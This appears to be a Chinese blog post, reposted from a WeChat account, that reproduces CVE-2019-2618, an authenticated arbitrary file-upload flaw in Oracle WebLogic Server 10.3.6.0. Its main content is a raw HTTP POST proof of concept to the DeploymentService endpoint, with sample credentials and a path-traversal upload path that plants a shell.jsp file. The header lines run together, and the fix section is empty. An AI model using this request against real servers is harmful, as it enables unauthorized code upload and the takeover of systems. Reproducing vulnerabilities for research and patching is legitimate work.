Oracle WebLogic Server 是一个统一的可扩展平台，专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。
CVE-2019-2618
影响范围：
复现环境：
Oracle WebLogic Server 10.3.6.0
0X02 漏洞复现
漏洞利用需要账号密码。
POC：
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1Host: 192.168.245.134:7001Connection: closeAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.21.0username: weblogicwl_request_type: app_uploadcache-control: no-cachewl_upload_application_name: /../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/warserverName: weblogicpassword:oracle@123content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gWarchive: trueserver_version: 10.3.6.0wl_upload_delta: trueContent-Length: 205------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"Content-Type: false<% out.print("test"); %>------WebKitFormBoundary7MA4YWxkTrZu0gW--wl_upload_application_name：上传路径serverName：账号password：密码
0X03 修复建议
0X04
原文始发于微信公众号（皓月的笔记本）：【漏洞复现】Weblogic 文件上传漏洞（CVE-2019-2618）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论